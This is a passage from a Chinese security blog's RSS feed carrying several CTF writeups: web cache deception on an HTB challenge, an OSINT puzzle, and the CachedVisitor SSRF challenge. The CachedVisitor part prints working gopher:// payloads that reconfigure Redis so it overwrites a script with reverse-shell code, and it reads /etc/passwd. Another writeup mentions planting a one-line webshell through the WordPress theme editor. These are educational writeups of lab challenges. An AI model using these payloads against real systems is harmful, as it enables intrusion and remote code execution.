&lt;p>根路由，查询输入的用户是否存在(app/blueprints/auth/routes.py)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>/register，注册(app/blueprints/auth/routes.py)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>/visit，分析功能后发现可以直接携带admin用户的token并请求任意路由(app/blueprints/bot/routes.py和app/utils/bot.py)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>带有profile字样的任意路由或其他路由，输出保存在数据库里的详细数据(app/blueprints/main/routes.py)&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>其中第四个功能的路由比较特殊&lt;/p>
&lt;pre tabindex="0">&lt;code>@main_bp.route(&amp;#39;/&amp;lt;path:subpath&amp;gt;&amp;#39;, methods=[&amp;#39;GET&amp;#39;])
&lt;/code>&lt;/pre>&lt;p>意思就是什么uri他都吃，再分析下面具体的实现代码&lt;/p>
&lt;pre tabindex="0">&lt;code>if re.match(r&amp;#39;.*^profile&amp;#39;, subpath): # Django perfection
...
...
else:
return jsonify({&amp;#34;error&amp;#34;: &amp;#34;No match&amp;#34;}), 404
&lt;/code>&lt;/pre>&lt;p>就可以得知，除了在其他代码里定义好的路由外，没有&amp;rsquo;profile&amp;rsquo;字样的uri最后都会被丢个No match&lt;/p>
&lt;p>分析完功能，思路就很清晰了，应该就是想办法利用visit路由携带好的token去读profile。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/images/image-11.png">&lt;/p>
&lt;p>但分析完后发现，虽然能请求profile，但上面这段代码很明显只能访问但不能回显携带的内容&lt;/p>
&lt;p>所以要想个办法把请求的内容带出来。&lt;/p>
&lt;p>我很少看题目附件里给的nginx配置文件，除非真的没有思路继续下去。而这题就正好是这种少数题目之一&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/images/image-12-1024x565.png">&lt;/p>
&lt;p>看起来nginx在实现一种和CDN一样的效果，把前端访问过的静态文件存下来，如果在他的缓存路径里就直接读缓存，如果不在就把请求交给gunicorn做正常访问。&lt;/p>
&lt;p>根据上面的分析也可以知道，很明显后端对&lt;code>/profile&lt;/code>这个路由的访问处理并不是很严格，不管我访问什么稀奇古怪的路径，只要路径里带有&lt;code>profile&lt;/code>就都会被判定为/profile。所以当我访问&lt;code>profile/1.css&lt;/code>时，&lt;code>/profile&lt;/code>的内容就会被缓存到&lt;code>profile/1.css&lt;/code>里，我再正常地去访问&lt;code>profile/1.css&lt;/code>就能够拿到&lt;code>/profile&lt;/code>的内容。这种攻击方式被叫做缓存欺骗&lt;/p>
&lt;h2 id="实操">实操&lt;/h2>
&lt;p>来看看具体题目，首先我想要访问/visit就需要有一个token。不过这个token是什么无所谓，只要有就行。所以需要先注册一个&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/images/image-13-1024x415.png">&lt;/p>
&lt;p>接着拿去登陆，获取token（ip地址不一样别在意，就是拿平台靶场试的而已）&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/images/image-15-1024x415.png">&lt;/p>
&lt;p>最后就可以拿去访问visit，出现下面字样说明访问成果&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/images/image-16-1024x462.png">&lt;/p>
&lt;p>不过，完全一样的请求包也有可能在你访问后给你丢个invalid token，这种情况只要多发几次就行。原因不明，感觉像是HS256导致的某种神奇反应导致token间歇性不识别= =&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/images/image-19-1024x118.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/images/image-17-1024x462.png">&lt;/p>
&lt;p>最后正常访问即可&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-02-10-htb-cdnio-writeup/images/image-18-1024x462.png">&lt;/p></description></item><item><title>2025新年红包题 | Writeup</title><link>https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/</link><pubDate>Fri, 31 Jan 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/</guid><description>&lt;p>拿到网站后先发现标题有东西，拿来看看&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-37.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-38.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-39.png">&lt;/p>
&lt;p>在打开审查元素的时候也发现了一行注释&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-40.png">&lt;/p>
&lt;p>访问看看&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-41.png">&lt;/p>
&lt;p>虽然这不重要，但是这很重要&lt;/p>
&lt;p>页面信息利用完，感觉没什么进展了，那就扫扫目录吧&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-42-1024x174.png">&lt;/p>
&lt;p>访问一下&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-43-1024x288.png">&lt;/p>
&lt;p>(可能有人这里会吐槽这跟log有什么关系，但是故意放log就是因为它在dirsearch默认字典里比较靠后，就能让那些扫没两秒就退出的人做不出来^ ^)&lt;/p>
&lt;p>留下这个pass，然后访问一下给的hint，来到一个wordpress&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-44-1024x771.png">&lt;/p>
&lt;p>发现文章都需要密码，所以开始搜集信息。随便点进一片看一下能不能查看用户名&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-45-1024x320.png">&lt;/p>
&lt;p>发现已经被修改过了，那就只能想别的办法。因为是wordpress，所以用wpscan扫一下&lt;/p>
&lt;p>发现两个用户名&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-46-1024x253.png">&lt;/p>
&lt;p>拿出刚才log页面的pass，需要再解一下&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-47.png">&lt;/p>
&lt;p>拿dondondonki登陆即可，进来后直接来到文章区域，把每一篇文章都看过去一遍后就能，在“等等，嘶”这篇文章下面发现了这两句话&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-56-1024x388.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-50-1024x134.png">&lt;/p>
&lt;p>结合hint1的“ssh不需要爆破”这个提示，推断这个端口应该是ssh端口。那么接下来就是拼接密码的osint过程&lt;/p>
&lt;p>首先来看第一张，映入眼帘应该是一张从酒店内往酒店门口拍摄的视角，仔细看一下就能发现这个&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-51.png">&lt;/p>
&lt;p>根据常识可以得知是香港行政区旗🇭🇰，并且人口为750w小于1000w，因此第一个字符为h&lt;/p>
&lt;p>第二篇文章的图片内没有什么文字描述或者明显的特征，只有一些长相比较特殊的植物，所以google搜图随手搜索一下&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-52-1024x549.png">&lt;/p>
&lt;p>知道了名字，就问问ai&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-53-1024x634.png">&lt;/p>
&lt;p>并且通过图中远处小屋可以推测是木质结构，在中国广西和云南等地才比较常见，不在蜂斗菜适宜生长环境内，因此中国的可能性可以排除。且根据后方地形判断此处以丘陵（300m以下）为主，不符合日本、韩国以山脉为主的地理特征，因此日本韩国也排除。最后就只剩俄罗斯了，人口大于1000万，因此第二个字符为R&lt;/p>
&lt;p>第三篇文章，题中唯一存在的文字信息就是石柱上的牌子，但是有点模糊，有些单字需要猜测&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-54-1024x502.png">&lt;/p>
&lt;p>大概可以拼出个&lt;code>antonio anostinho neto&lt;/code>，直接放到google里可以发现是个人名，&lt;code>Agostinho Neto&lt;/code>&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-55-1024x550.png">&lt;/p>
&lt;p>并且位于安哥拉，搜索后人口为3393w，字符为A&lt;/p>
&lt;p>第四篇文章和第二篇一样可利用信息很少，唯一知道的就是一条又长又笔直的公路和路上的&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/%E6%88%AA%E5%B1%8F2025-01-31-13.52.07-1024x550.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-57-1024x624.png">&lt;/p>
&lt;p>在上述ai给的地区中，结合图片宽广笔直的道路场景，只有美国和加拿大比较符合特征。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-58-1024x450.png">&lt;/p>
&lt;p>并且这里还设计到一个地区交通小常识，如果你是做osint的新手可以记录下来。就是高速路上单黄虚线更多地出现在加拿大，关于这点的更多解释可以看这篇&lt;a href="https://ctftime.org/writeup/36074">2022 idek CTF wp&lt;/a>中的image13。简单来说，就是google上有关单黄虚线长笔直高速路的搜索结果更多地指向加拿大，少部分位于中国西北和美国北部。因此这篇文章字符为C&lt;/p>
&lt;p>第五篇文章，算是比较经典图寻坐标了，就是路边的这个小路标&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-59.png">&lt;/p>
&lt;p>这里我给大家提供一张geoguessr社区大神们总结出来的路标图作为参考&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-60-1004x1024.png">&lt;/p>
&lt;p>明显图示路标出现区域为波兰，由于这个路桩的唯一性，因此可以直接推测为波兰。字符为P&lt;/p>
&lt;p>第六篇文章应该能算送分题，应该很多人第一眼就猜出是日本。原因就是左上角的制粉店招牌。但其实这并不是能断定是日本的唯一要素，因为这样的繁体字招牌有可能存在东亚地区很多个地方。所以为了严谨一点，我们就按照图寻的玩法排一下。&lt;/p>
&lt;p>首先排除中国大陆和香港、澳门，因为这三个地区一个是使用简体，另两个是不可能存在这么长一条路都是空旷低矮的房屋。其次是台湾，这时候就得把图片拉大看一下远处的车辆&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-61.png">&lt;/p>
&lt;p>会发现这台车牌是黄色的，而通过搜索会发现台湾车牌主要以白色为主&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-62-1024x802.png">&lt;/p>
&lt;p>因此最后可以定位到日本，字符为J&lt;/p>
&lt;p>最后一篇，首先就是拿这台白车的车牌作为一个大致方位定位&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-64.png">&lt;/p>
&lt;p>但先不急，还有第二张图。第二张图内容显示是个靠海的国家，并且使用法语，再根据第一张图中有摩托车、棕榈树，并且房屋都比较低矮的特征来看，所在地应该是某个欠发达地区的热带，那么最再结合法语的使用，结合历史常识推测最有可能的就是非洲。并且根据后面的提示可以知道，这个国家曾在20世纪60年代独立，那么范围就更近一步缩小。&lt;/p>
&lt;p>先把上世纪60年代独立的国家拉出来问一下ai，有没有符合图述内容的地方&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-65-1024x621.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-31-2025%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98-writeup/images/image-66-1024x615.png">&lt;/p></description></item><item><title>软件系统安全赛 CachedVisitor | Writeup</title><link>https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/</link><pubDate>Mon, 06 Jan 2025 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/</guid><description>&lt;p>第一次参加这个比赛，本以为是pwn赛，结果没想到是web最无敌的一集（有点可惜没把厦大刷下来= =）&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/679DF8021B5608EC1DD26A05C00E03C8-1024x1014.jpg">&lt;/p>
&lt;p>拿到附件先起一个本地服务来打。apple silicon要指定amd64&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-12.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-13-1024x670.png">&lt;/p>
&lt;p>main.lua的主要逻辑就是将visit.script的代码执行。visit.script的主要逻辑是将输入进来的url地址用lua的curl模块访问。并且会将页面访问结果保存到redis中。思路很简单，就是想办法利用redis来保存一个文件将visit.script覆盖掉，覆盖掉的内容就是要执行的lua反弹shell或者命令执行。&lt;/p>
&lt;p>首先要先了解一下redis的一些常用指令和小常识，这里只介绍本题需要用到的&lt;/p>
&lt;pre tabindex="0">&lt;code>keys * --查看所有键值对
get keyname --查看该键的值
save --将当前 Redis 所有数据保存到文件里。文件名和路径在下面两个命令可以修改
CONFIG SET dbfilename yourfilename.rdb --设置save的文件名
CONFIG SET dir /var/lib/redis --设置save的保存目录
QUIT --退出redis命令行。这个很重要，一会儿就会用到
rdbcompression yes --在附件里给的redis配置文件第461行，主要作用就是开启rdb存储压缩。redis有两种持久化方式，一种叫rdb一种叫aof，有兴趣可以自查。并且，redis所有配置信息都可以在终端中用config get keyname的方式获取到
&lt;/code>&lt;/pre>&lt;p>尝试访问一下file:///etc/passwd可以得到passwd&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-14-1024x670.png">&lt;/p>
&lt;p>进容器的redis验证一下有没有把访问内容存下来。发现确实存了下来。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-15.png">&lt;/p>
&lt;p>因为redis支持使用gopher协议控制，所以直接先用下面的payload梭一把试试&lt;/p>
&lt;pre tabindex="0">&lt;code>gopher://localhost:6379/_*2%0D%0A$3%0D%0AGET%0D%0A$18%0D%0Afile:///etc/passwd%0D%0A
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-20-1024x413.png">&lt;/p>
&lt;p>这个格式是用gopher访问redis固定的，&lt;code>*2&lt;/code>表示这一行命令里有2个参数，&lt;code>$3&lt;/code>，&lt;code>$18&lt;/code>表示参数长度，并且最后一定要加一个CRLF的换行。厨子编码时要注意把全编码钩上，不然会不符合gopher协议规范（具体原因可以看这篇博客：&lt;a href="https://redshome.top/2023/01/13/58/">https://redshome.top/2023/01/13/58/&lt;/a>）。现在我们发一波试试。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-17-1024x670.png">&lt;/p>
&lt;p>可以发现换了个timeout回来，当时和队友在这儿卡了有一段时间，一直以为是我语句构造出了问题，以至于错过了前3血= =&lt;/p>
&lt;p>直到队友拿着这段payload在命令行尝试直接curl后拿到了下面这样的结果&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-19-1024x438.png">&lt;/p>
&lt;p>我便恍然大悟，问题就出在请求成功后没有退出redis终端，于是便搜到了上面所说的QUIT指令。接下来就是改造完的payload&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-22-1024x397.png">&lt;/p>
&lt;pre tabindex="0">&lt;code>gopher://localhost:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%2418%0D%0Afile%3A%2F%2F%2Fetc%2Fpasswd%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-21-1024x360.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-23-1024x670.png">&lt;/p>
&lt;p>前后端均访问正常。最后再来测试一下save下来的数据长啥样&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-24-776x1024.png">&lt;/p>
&lt;p>嘶，怎么感觉不太正常，好像存下来后和直接输出不太一样。这样可以不行，要是一会儿存下来的lua代码也变成这样那就执行不了了。当时队友“神之一手”一下就反应过来是压缩存储的问题，我们先把压缩存储关掉后再试一遍&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-25.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-26-1024x637.png">&lt;/p>
&lt;p>无敌了，接下来就是走一遍最开始说的思路。首先是修改一下靶机的dbfilename,dir还有rdbcompression&lt;/p>
&lt;pre tabindex="0">&lt;code>*4
$6
config
$3
set
$3
dir
$8
/scripts
*4
$6
config
$3
set
$10
dbfilename
$12
visit.script
*4
$6
config
$3
set
$14
rdbcompression
$2
no
*1
$4
QUIT
gopher://localhost:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A%2Fscripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2412%0D%0Avisit%2Escript%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2025-01-06-%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8-cachedvisitor-writeup/images/image-27-1024x670.png">&lt;/p></description></item><item><title>24-25上半学年第二次线上赛 | Writeup</title><link>https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/</link><pubDate>Wed, 11 Dec 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/</guid><description>&lt;p>一样是部分wp，其他题不会可以来群上问&lt;/p>
&lt;h2 id="misc">misc&lt;/h2>
&lt;h3 id="鲨鱼">鲨鱼&lt;/h3>
&lt;p>不懂如何使用wireshark先去把提示里的链接看了&lt;/p>
&lt;p>拿到附件后可以直接用foremost分离&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-59-1024x220.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-60-1024x872.png">&lt;/p>
&lt;p>分离出一个压缩包但是要密码，所以我们先进流量包看&lt;/p>
&lt;p>进来后随机选择一个http包，跟踪tcp流，就开始把每条流量分析过去&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-61-1024x620.png">&lt;/p>
&lt;p>在stream 7发现一串有jpg头的16进制数据&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-62-1024x620.png">&lt;/p>
&lt;p>并且是jpg文件尾&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-64-1024x546.png">&lt;/p>
&lt;p>复制到cyeberchef梭一下就能出来&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-63-1024x546.png">&lt;/p>
&lt;p>拿图片里的密码去解压缩包即可&lt;/p>
&lt;h2 id="web">web&lt;/h2>
&lt;h3 id="一些黑客技巧">一些黑客技巧&lt;/h3>
&lt;p>diresearch可以扫到admin目录，发现需要登陆&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-65-1024x575.png">&lt;/p>
&lt;p>回到首页搜集信息，怀疑用户名存在madeline&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-66-1024x314.png">&lt;/p>
&lt;p>根据题目名称，密码猜测是123456（如果没猜出密码，因为也可以爆破）&lt;/p>
&lt;p>成功登陆&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-67-1024x351.png">&lt;/p>
&lt;p>进来后点控制台-&amp;gt;外观-&amp;gt;编辑当前外观，会发现可以对php文件插入代码&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-11-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-68-1024x351.png">&lt;/p>
&lt;p>直接插入一句马，蚁剑上线即可&lt;/p></description></item><item><title>24-25上半学年第一次线上赛 | Writeup</title><link>https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/</link><pubDate>Thu, 05 Dec 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/</guid><description>&lt;p>Misc上课讲过就不写了= =好忙最近，如果有不会的再来群上问吧&lt;/p>
&lt;h2 id="触手可得">触手可得&lt;/h2>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image.png">&lt;/p>
&lt;p>先看代码，首页只有这些，访问一下flag.php会发现没有内容，所以只能想办法利用下面的代码去拿到flag&lt;/p>
&lt;p>很明显这里只要满足$key等于后面一大串就能拿到flag了，所以payload就是&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-12-05-24-25%E4%B8%8A%E5%8D%8A%E5%AD%A6%E5%B9%B4%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B-writeup/images/image-1.png">&lt;/p>
&lt;p>你说上面那个什么md5是干嘛用的？你都知道这样问了，那当然是没用啦^ ^&lt;/p>
